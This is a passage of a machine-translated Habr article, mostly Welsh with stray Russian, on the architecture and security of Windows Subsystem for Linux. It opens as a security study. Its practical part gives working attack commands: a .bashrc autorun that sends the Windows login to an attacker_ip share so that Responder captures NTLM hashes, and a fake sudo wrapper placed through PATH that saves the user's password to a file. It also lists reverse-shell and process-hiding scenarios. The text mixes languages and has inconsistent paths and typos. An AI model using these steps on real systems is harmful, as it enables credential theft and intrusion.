Helo, habr! Mae OTUS yn lansio ffrwd cwrs newydd ym mis Hydref
Yn 2016, cyflwynodd Microsoft y dechnoleg WSL newydd i'r gymuned TG (Windows Subsystem ar gyfer Linux), a oedd yn y dyfodol yn ei gwneud hi'n bosibl uno cystadleuwyr anghymodlon o'r blaen a oedd yn ymladd am boblogrwydd ymhlith defnyddwyr arferol ac uwch yr AO: Windows a Linux. Roedd y dechnoleg hon yn ei gwneud hi'n bosibl defnyddio offer Linux OS mewn amgylchedd Windows heb fod angen rhedeg Linux, er enghraifft, gan ddefnyddio Multi-boot. Ar Habr gallwch ddod o hyd i nifer fawr o erthyglau sy'n disgrifio manteision defnyddio WSL. Fodd bynnag, yn anffodus, ar adeg creu'r erthygl hon, ni ddarganfuwyd unrhyw astudiaethau ar ddiogelwch systemau gweithredu o'r fath ar yr adnodd hwn. Bydd y post hwn yn ymgais i gywiro hyn. Bydd yr erthygl yn sôn am nodweddion pensaernïaeth WSL 1 a 2 ac yn archwilio sawl enghraifft o ymosodiadau ar systemau gan ddefnyddio'r technolegau hyn. Rhennir yr erthygl yn 2 ran. Bydd y cyntaf yn darparu'r prif ddulliau ymosod damcaniaethol o Linux a Windows. Bydd yr ail erthygl yn cynnwys sefydlu amgylchedd prawf ac atgynhyrchu'r ymosodiadau.
WSL 1: nodweddion pensaernïol
Ar gyfer y plymio mwyaf cywir i faterion diogelwch WSL, mae angen pennu'r prif arlliwiau sy'n gysylltiedig â gweithredu'r is-system. Un o'r prif dasgau defnyddiwr a ddatrysir gan WSL yw'r gallu i weithio trwy derfynell Linux ar westeiwr sy'n rhedeg Windows OS. Hefyd, roedd y cydnawsedd a gynigiwyd mor frodorol fel y gellid rhedeg Linux executables (ELFs) yn uniongyrchol ar system Windows. Er mwyn cyflawni'r nodau hyn, crëwyd is-system arbennig yn Windows 10 sy'n eich galluogi i redeg cymwysiadau Linux gan ddefnyddio set o alwadau system benodol - felly, gwnaed ymgais i fapio set o syscalls Linux ar Windows. Gweithredwyd hyn yn gorfforol trwy ychwanegu gyrwyr newydd a fformat proses newydd. Yn weledol roedd y bensaernïaeth yn edrych fel hyn:
Mewn gwirionedd, trefnwyd rhyngweithio â system weithredu Linux trwy sawl modiwl cnewyllyn a math arbennig o broses - pico. O'r diagram uchod, gallwch weld bod yn rhaid i'r broses sy'n rhedeg ar yr enghraifft Linux ar y gwesteiwr fod yn frodorol a rhaid iddi ddefnyddio'r un adnoddau â chymwysiadau Windows rheolaidd. Ond sut i gyflawni hyn? Mewn prosiect
Sylwch fod y tynnu arfaethedig wedi'i gwneud hi'n bosibl peidio â chanolbwyntio ar y system weithredu (yn arbennig, Windows), y disgwylir i broses OS arall ei lansio, ac awgrymodd ddull cyffredinol.
Felly, gallai unrhyw gais y tu mewn i'r broses pico redeg heb ystyried cnewyllyn Windows:
- Rhaid i broblemau cydnawsedd a chyfieithu galwadau system gael eu datrys gan ddarparwyr arbennig;
- Rhaid rheoli mynediad trwy'r Monitor Diogelwch. Mae'r monitor wedi'i leoli yn y cnewyllyn ac felly roedd angen uwchraddio Windows ar ffurf gyrrwr newydd a allai weithredu fel darparwr ar gyfer prosesau o'r fath. Cyflwynir y broses pico prototeip yn sgematig isod:
Gan fod system ffeiliau Linux yn defnyddio enwau ffeiliau a chyfeiriadur sy'n sensitif i achos, ychwanegwyd 2 fath o systemau ffeil at Windows i weithio gyda WSL - VolFS a DriveFS. Mae VolFS yn weithrediad system ffeiliau Linux, mae DriveFS yn system ffeiliau sy'n gweithio yn unol â rheolau Windows, ond mae ganddo'r gallu i ddewis sensitifrwydd achos.
WSL 2
Roedd gan WSL 1 nifer o gyfyngiadau nad oedd yn caniatáu iddo gael ei ddefnyddio i ddatrys yr ystod uchaf o dasgau: er enghraifft, nid oedd ganddo'r gallu i redeg cymwysiadau Linux 32-bit, ac roedd yn amhosibl defnyddio gyrwyr dyfais. Felly, yn 2020, rhyddhawyd WSL 2, a newidiodd y dull o adeiladu'r is-system. Mae WSL 2 yn beiriant rhithwir wedi'i optimeiddio sy'n cyd-fynd â nodweddion defnydd adnoddau WSL 1. Nawr, yn dibynnu ar y problemau a ddatryswyd gan ddefnyddiwr Windows OS, gallwch ddewis y fersiwn ofynnol o is-system Linux. Er mwyn lliniaru gwendidau posibl, gweithredwyd WSL 2 yn seiliedig ar Hyper-V yn Windows 10. Yn y ffurflen hon, mae gan Windows y gallu i redeg cnewyllyn system weithredu Linux ar ei ben ei hun. Mae'n werth cofio bod fersiwn 1 o WSL wedi'i chyflwyno fel nodwedd beta a oedd i fod i ddangos cyfeiriad datblygiad Windows yn y maes hwn, felly roedd y newid i Hyper-V yn anochel. Mae'r bensaernïaeth derfynol yn edrych fel hyn:
Yn y fersiwn hon, mae gan y cnewyllyn Windows a Linux eu hadnoddau eu hunain ac mae'r croestoriad yn bodoli yn y system ffeiliau yn unig, ond nid yw'r groesffordd hon yn gyflawn. Mae rhyngweithio rhwng systemau ffeiliau yn cael ei wneud trwy lapiwr cleient-gweinydd sy'n gweithio gan ddefnyddio'r protocol 9P.
Heddiw mae Microsoft yn darparu'r gallu i newid rhwng WSL 1 a WSL 2. Mae'r ddau fersiwn ar gael i'w defnyddio.
Diogelwch WSL
Ar hyn o bryd, mae sawl gwaith yn disgrifio rhai dulliau o ddefnyddio offer OS cyfreithlon i ymosod ar gyfathrebu rhwng is-systemau. Byddwn yn defnyddio eu sgriptiau i wirio perthnasedd yr ymosodiadau ar adeg eu hysgrifennu. Rhestr gyffredinol o ymosodiadau a senarios:
1. Gweithredu system ffeiliau: hawliau mynediad, argaeledd cyfeirlyfrau/mecanweithiau cyfnewid data a rennir.
Cynhaliwyd ymchwil i benderfynu ar achosion o dorri rheolau mynediad o Linux FS-> Windows FS, Windows FS-> Linux FS. Mae ymchwil wedi dangos y gallu i addasu ffeil benodol o fewn yr OS targed. Ymdrechwyd hefyd i amnewid, creu copïau dyblyg a dileu rhan o'r systemau ffeiliau.
Senario:
- A. Ymosodiad o system weithredu Windows - addasu ffeiliau o gyfeiriadur /etc yr OS Linux.
- B. Ymosodiad o system weithredu Linux - addasu ffeiliau mewn cyfeiriaduron:
C:Windows
,C:Program Files
,C:Users<User>
2. Gweithredu'r pentwr rhwydwaith.
Cynhaliwyd yr ymchwil gan ddefnyddio enghreifftiau o ymosodiadau gan system weithredu Linux ar Windows. Defnyddiwyd nodweddion y pentwr rhwydwaith, sef, mecanweithiau dilysu ar adnoddau amrywiol.
Senario:
- Agor mynediad i borthladd sy'n cael ei feddiannu ar system Windows
- Agor porthladd heb yr hawliau priodol
- Rhedeg cragen wrthdroi gan ddefnyddio ffeil elf ar system weithredu Windows.
3. Cuddio lansiad prosesau meddalwedd maleisus gan ddefnyddio is-system WSL.
Roedd yr ymchwil yn seiliedig ar ffaith syml - ni all is-systemau diogelwch ryng-gipio digwyddiadau mewn cnewyllyn arall sy'n gweithio gan ddefnyddio darparwr cyfreithlon o'r system weithredu yn achos WSL 1. Yn achos WSL 2, nid oes unrhyw ffordd i weld digwyddiadau sy'n digwydd mewn cnewyllyn ar wahân o fewn peiriant rhithwir ysgafn.
Senario:
1) Lansio'r cais am fynediad o bell i'r system a gweld y digwyddiadau sydd wedi'u cofnodi.
Arbrofion WSL 1: rhyng-gipio hash (Windows)
O'r diwedd fe gyrhaeddon ni'r rhan ymarferol. Yn gyntaf, mae angen i chi sefydlu'r amgylchedd prawf. Bydd yr holl arbrofion yn cael eu cynnal ar fainc gyda Windows 10 2004 wedi'u gosod. Dewiswyd delwedd Ubuntu 18.04 fel delwedd y system weithredu ar gyfer WSL. Dewiswyd y ddelwedd ar hap, a bydd unrhyw un arall yn gweithio yr un peth. Gorchmynion ar gyfer gosod stondin:
Rhaid i chi lansio yn gyntaf powershell.exe
fel gweinyddwr.
Ar gyfer WSL 1 mae angen i chi redeg y gorchmynion:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Ar ôl ailgychwyn y stondin, gallwch chi ffonio'r gorchymyn bash. Pe bai popeth yn gweithio'n iawn, fe welwch allbwn tebyg i hyn yn y consol Windows:
Byddwn yn defnyddio dosbarthiad Kali Linux fel peiriant yr ymosodwr; rhaid i bob peiriant fod ar yr un rhwydwaith lleol.
Gadewch i ni dybio bod gennym ni fynediad di-freintiedig i WSL ar beiriant Windows. Gadewch i ni geisio ymosod ar system weithredu Linux trwy alw gorchymyn gan Linux. I weithredu'r ymosodiad, byddwn yn defnyddio techneg autorun syml - byddwn yn ychwanegu ein sgript i'w weithredu yn amgylchedd Linux. I wneud hyn mae angen i chi newid y ffeil .bashrc
.
Ar beiriant gyda WSL rydym yn gweithredu:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exit
Ar beiriant Kali Linux rydyn ni'n rhedeg:
1. Responder -I eth0 -rdvw
Ar beiriant Windows, gadewch i ni lansio bash.
Rydym yn aros am y canlyniad ar y peiriant Kali Linux:
Felly, cawsom hashes defnyddiwr Windows trwy is-system WSL trwy weithredu'r gorchymyn ar y system Linux.
Arbrofion WSL 1: cael cyfrinair defnyddiwr (Linux OS)
Gadewch i ni wneud un arbrawf arall. Yn ystod y gwiriad hwn byddwn yn ychwanegu at y ffeil .bashrc
sawl gorchymyn er mwyn cael cyfrinair defnyddiwr system weithredu Linux.
Gadewch i ni lansio bash a nodi'r gorchmynion:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
I gwblhau'r ymosodiad yn llwyddiannus, mae angen i'r defnyddiwr Sam alw sudo yn y derfynell Linux. Ar ôl hyn, bydd cyfrinair defnyddiwr Linux OS yn y ffeil pass.txt
:
Rhoddwyd gweithrediad yr ymosodiadau er gwybodaeth ddamcaniaethol yn unig.
Bydd rhan nesaf yr erthygl yn disgrifio gweithrediad y protocol 9P, yn ystyried creu sganiwr ar gyfer y protocol hwn, a hefyd yn cynnal ymosodiad gan ei ddefnyddio.
Rhestr o lenyddiaeth a ddefnyddiwyd
Darllen mwy
Ffynhonnell: hab.com